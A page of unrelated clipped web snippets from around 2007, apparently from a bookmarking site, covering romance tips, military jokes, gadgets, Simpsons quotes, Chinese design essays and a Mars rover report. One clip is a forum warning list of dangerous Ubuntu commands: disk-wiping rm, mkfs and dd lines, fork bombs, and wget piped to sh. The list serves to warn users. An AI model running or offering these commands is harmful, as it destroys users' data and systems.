How to melt your wife's heart

Thu, 03 Jan 2008 10:11:12 GMT

clipped by: drownshrimp

When she’s coming down the street, across the room, or up the stairs to meet you, walk towards her as soon as you see her.

Kiss her between her shoulder blades when she turns her back to you to go to sleep.

Put your arm around her when you introduce her to your friends and family.

Wash her from head to toe in the shower.

Occasionally call her by her first and middle names.

When she’s feeling insecure, stare into her eyes and tell her there is no-one in the world who could be as right for you as she is.

Shave just before you see her. She’ll notice.

Read her a story when it’s her turn to drive during a long road trip.

Several Rules of Military Combat that may be useful in common life

Don't look conspicuous: it draws fire.

Teamwork is essential; it gives the enemy someone else to shoot at.

If your attack is going well, you have walked into an ambush.

Don't draw fire, it irritates the people around you.

If it's stupid but works, it isn't stupid.

Never share a fox hole with anyone braver than you.

Anything you do can get you shot. Including doing nothing.

Make it too tough for the enemy to get in and you can't get out.

A Purple Heart just proves that were you smart enough to think of a plan, stupid enough to try it, and lucky enough to survive.

This nifty LED-powered Twistalamp from ThinkGeek is basically a "hand-cast resin brick that can be connected in a variety of configurations." Video after the break. Click here for first picture in gallery.

Each brick has four connectors that let you link up to another brick either inline or offset, and twisted 90 degrees. Each package contains four bricks, but you can link as many as twenty-four of them into a single chain of high-fashion lighting

Malicious Commands on Ubuntu

Thu, 29 Nov 2007 01:48:59 GMT

clipped by: drownshrimp

Clip Source: ubuntuforums.org

Delete all files, delete current directory, and delete visible files in current directory. It's quite obvious why these commands can be dangerous to execute.

rm -rf /
rm -rf .
rm -rf *

Reformat: Data on device mentioned after the mkfs command will be destroyed and replaced with a blank filesystem.

mkfs
mkfs.ext3
mkfs.anything

Block device manipulation: Causes raw data to be written to a block device. Often times this will clobber the filesystem and cause total loss of data:

any_command > /dev/sda
dd if=something of=/dev/sda

:(){:|:&};:

In Perl

fork while fork

Tarbomb:

You should make the habit of decompressing tars inside a cleanly made directory

Decompression bomb:

You should not touch data from an untrusted source

Shellscript:

Do not execute code from people you don't trust

wget http://some_place/some_file
sh ./some_file

wget http://some_place/some_file -O- | sh

Compiling code:

Do not compile OR execute the compiled code

Homer Simpson Quotes

Clip Source: users.monash.edu.au

Oh no! What have I done? I smashed open my little boy's piggy bank, and for what? A few measly cents, not even enough to buy one beer. Wait a minute, lemme count and make sure... not even close.

Television! Teacher, mother, secret lover.

[Meeting Aliens] Please don't eat me! I have a wife and kids. Eat them!

Kids, you tried your best and you failed miserably. The lesson is, never try.

When I look at the smiles on all the children's faces, I just know they're about to jab me with something.

I'm normally not a praying man, but if you're up there, please save me Superman.

I'm having the best day of my life, and I owe it all to not going to Church!

I want to share something with you: The three little sentences that will get you through life. Number 1: Cover for me. Number 2: Oh, good idea, Boss! Number 3: It was like that when I got here.

Operator! Give me the number for 911!

TIWE 手表散落的时间

这款“TIWE 手表”是根据夜间满天的星星启发而设计的。表盘是整块的OLED ，上面显示着大大小小的白色小圆点，就如同天上的星星，散落着的时间。如果想要看时间，很简单只要轻轻拍一下表面或震动一下，这些小圆点自动会排列出当时的时间。设计师：Lv Zhongfang。

NASA's Mars Opportunity rover falls on hard times

Mon, 19 Nov 2007 10:39:50 GMT

Clip Source: www.engadget.com

NASA's Mars Opportunity rover has already long outlasted its original 90 day mission, but it looks like the go-getter bot is now really starting to show its age, as NewScientist reports that problems with two key instruments have left the rover "crippled and blinded." As NewScientist points out, however, these latest issues are far from the first to plague Opporunity (and its counterpart, Spirit), and it's still suffering from a malfunctioning wheel and an "arthritic" robotic arm, both problems of which first cropped up in 2005. While NASA has currently suspended all work involving the rover's rock grinding tool and its infrared spectrometer, it's apparently hoping to get the spectrometer back up and running by shaking off some of the dust causing the problems, and at least one NASA official expects both rovers to keep "going for years more."

非主流、反设计、去中心化（chinese）

Mon, 19 Nov 2007 02:06:10 GMT

Clip Source: www.hi-id.com

在百度百科的“非主流”词条下有一个留言说：“非主流这个词现在成了盗版，垃圾和冒牌的代名词.都是盗用些别人的照片，冒牌衣服，垃圾网站和论坛。”以及“非主流非什么什么现在都成了下等的了本来很好被丑恶化了”。

How To Be Ugly”，我们在网络文摘中推荐过，同时早先也推荐过一篇 Creative Review 的文章“ The New Ugly ”，这篇文章将 “Ugly”（丑陋主义）追溯到上世纪90年代早期 Steven Heller 在 Eye 杂志发布的一篇“传奇性”文章“Cult of the Ugly”（崇拜丑陋）。这些文章中的 Ugly 是指那些脱离我们一般审美的设计，

所谓设计的专业性荡然无存。

Wolff Olins 的创意总监 Patrick Cox 针对伦敦2012年奥运会标志说到：“它的设计是故意（让它）原始的，未成熟的，它并不要求讨人喜欢，它故意挑衅，如同椅子上的小针尖，你被刺着，站起来，发现它。

不管你认为这几个 Wolff Olins 的设计如何，有一点应该是共认的，它脱轨了，它破坏了秩序了。

那么这些反对的情绪如何产生的呢？

一个原因是我们处在事物发展途径（建立-破坏-建立）之中的一个高度成熟期，太过统一化，太过秩序化，太制度化，如同我们这些电子被原子核吸引着饶了几十年，不光不喜欢，而且还晕了。

另外一个原因就是“去中心化”力量的出现，也就是我们开始有能力摆脱原子核的吸引。

当然这个“去中心化”并不是说“专业设计师”或者其他什么专业将消失，但面对的将是更加多元化的世界

Mark Wills's new philosophy about recording country music

Fri, 16 Nov 2007 13:55:42 GMT

clipped by: drownshrimp

Clip Source: www.myspace.com

"The new album, Familiar Stranger, all came about when I started listening to songs, looking for something different," Wills relates. "Sometimes you get pigeon-holed as to what you can do or what is expected of you. I heard several things that were unique sounding and noticed Brett James was the writer on all of them and that he was the producer on them too. I basically went to him and groveled: 'Dude, I love this sound! This is the band sound I grew up with.' And I asked him to work with me."

When performing in concert, music doesn't always need to be perfect and sterilized. It's that natural energy and emotion during a show that an audience connects with that makes live shows so exciting. That's the philosophy I took into the recording studio this time when recording my new record.

I want players who aren't afraid to step outside of the normal studio pattern.

Most importantly I want them to have fun with it. I want them to have a sense of ownership about this sound.

Emergency Break Glass
Money Box
Add coins at your own risk: only by smashing the glass can they be retrieved. As you watch your money literally build up, you will be torn between the desire to save more or cash in. With money rapidly disappearing into plastic cards and online transactions, the physical presence of ‘In Case of Emergency' money box will make you think more carefully before you decide to splash out. What will be your moment of need?
